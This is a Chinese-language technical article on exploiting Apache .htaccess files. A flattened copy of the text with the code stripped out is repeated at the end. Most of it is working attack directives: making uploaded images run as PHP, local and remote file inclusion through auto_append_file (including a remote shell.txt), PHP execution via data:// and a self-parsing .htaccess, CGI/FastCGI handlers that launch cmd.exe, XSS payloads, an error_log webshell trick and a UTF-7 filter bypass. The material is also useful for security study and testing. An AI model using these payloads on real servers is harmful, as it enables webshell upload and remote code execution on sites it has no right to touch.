Apache的.htaccess利用技巧
字数 987 2025-08-18 17:33:16

Apache .htaccess 文件利用技巧详解

0x1 简介

0x1.1 基本概念

.htaccess 文件提供了针对目录改变配置的方法,在一个特定的文档目录中放置包含指令的文件,可以作用于该目录及其所有子目录。

  • 支持 # 单行注释符
  • 支持 \ 拼接上下两行
  • 用户可使用的命令受限于 Apache 的 AllowOverride 指令设置

0x1.2 作用范围

  • 作用于 .htaccess 文件所在目录及其所有子目录
  • 子目录中的指令会覆盖父目录或主配置文件中的指令
  • 配置指令按查找顺序依次生效

0x1.3 配置文件

启用 .htaccess 需要在主配置文件中设置:

AllowOverride All  # 启动.htaccess文件的使用

可修改 .htaccess 文件名:

AccessFileName .config  # 将.htaccess修改为.config

0x2 常见指令

0x2.1 SetHandler

强制所有匹配的文件被指定处理器处理:

SetHandler handler-name|None

示例:

SetHandler application/x-httpd-php  # 当前目录及其子目录下所有文件都会被当做PHP解析
SetHandler server-status  # 查看Apache服务器状态信息,访问任意不存在文件加?refresh=5自动刷新

0x2.2 AddHandler

在文件扩展名与特定处理器之间建立映射:

AddHandler handler-name extension [extension] ...

示例:

AddHandler cgi-script .xxx  # 将.xxx文件作为CGI脚本处理

0x2.3 AddType

将文件扩展名映射到指定的内容类型:

AddType media-type extension [extension] ...

示例:

AddType application/x-httpd-php .gif  # 将.gif文件当做PHP解析
AddType application/x-httpd-php png jpg gif  # 将多个后缀当做PHP解析

0x2.4 php_value

修改PHP配置设定(需要 AllowOverride OptionsAllowOverride All 权限):

php_value name value

可利用的PHP配置选项:

  1. 文件包含配置:
    php_value auto_prepend_file images.png  # 在主文件解析前自动包含
    php_value auto_append_file images.png   # 在主文件解析后自动包含
    
  2. 绕过preg_match:
    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0
    

0x2.5 php_flag

设置布尔值的PHP配置指令:

php_flag name on|off

示例:

php_flag engine 0  # 关闭PHP解析,造成源码泄露

0x3 利用方式

0x3.1 文件解析

上传 .htaccess 使图片文件被解析为PHP:

方法1 - SetHandler:

<FilesMatch "images.png">
    SetHandler application/x-httpd-php
</FilesMatch>

方法2 - AddType:

AddType application/x-httpd-php .png

0x3.2 文件包含

本地文件包含

php_value auto_prepend_file /etc/passwd
php_value auto_append_file /etc/passwd

远程文件包含(需 all_url_include 开启)

php_value auto_append_file http://example.com/shell.txt

0x3.3 源码泄露

php_flag engine 0

0x3.4 代码执行

  1. 利用伪协议(需 all_url_fopenall_url_include 开启):
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
  1. 解析 .htaccess 本身:
php_value auto_append_file .htaccess#<?php phpinfo();

<Files ~ "^.ht">
    Require all granted
    Order allow,deny
    Allow from all
</Files>
SetHandler application/x-httpd-php# <?php phpinfo(); ?>

0x3.5 命令执行

CGI启动(需加载 cgi_module

Options ExecCGI
AddHandler cgi-script .xx

ce.xx 文件内容:

#!C:/Windows/System32/cmd.exe /k start calc.exe

FastCGI启动(需加载 mod_fcgid.so

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx

0x3.6 XSS

highlight_file方式

php_value highlight.comment '"><script>alert(1);</script>'

错误消息链接方式

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

0x3.7 自定义错误文件

error.php 内容:

<?php include('shell'); # 报错页面

.htaccess 内容:

php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

UTF-7绕过方式:

php_value error_log /tmp/shell
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value include_path "/tmp"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
Apache .htaccess 文件利用技巧详解 0x1 简介 0x1.1 基本概念 .htaccess 文件提供了针对目录改变配置的方法,在一个特定的文档目录中放置包含指令的文件,可以作用于该目录及其所有子目录。 支持 # 单行注释符 支持 \ 拼接上下两行 用户可使用的命令受限于 Apache 的 AllowOverride 指令设置 0x1.2 作用范围 作用于 .htaccess 文件所在目录及其所有子目录 子目录中的指令会覆盖父目录或主配置文件中的指令 配置指令按查找顺序依次生效 0x1.3 配置文件 启用 .htaccess 需要在主配置文件中设置: 可修改 .htaccess 文件名: 0x2 常见指令 0x2.1 SetHandler 强制所有匹配的文件被指定处理器处理: 示例: 0x2.2 AddHandler 在文件扩展名与特定处理器之间建立映射: 示例: 0x2.3 AddType 将文件扩展名映射到指定的内容类型: 示例: 0x2.4 php_ value 修改PHP配置设定(需要 AllowOverride Options 或 AllowOverride All 权限): 可利用的PHP配置选项: 文件包含配置: 绕过preg_ match: 0x2.5 php_ flag 设置布尔值的PHP配置指令: 示例: 0x3 利用方式 0x3.1 文件解析 上传 .htaccess 使图片文件被解析为PHP: 方法1 - SetHandler: 方法2 - AddType: 0x3.2 文件包含 本地文件包含 远程文件包含(需 all_url_include 开启) 0x3.3 源码泄露 0x3.4 代码执行 利用伪协议(需 all_url_fopen 、 all_url_include 开启): 解析 .htaccess 本身: 或 0x3.5 命令执行 CGI启动(需加载 cgi_module ) ce.xx 文件内容: FastCGI启动(需加载 mod_fcgid.so ) 0x3.6 XSS highlight_ file方式 错误消息链接方式 0x3.7 自定义错误文件 error.php 内容: .htaccess 内容: UTF-7绕过方式: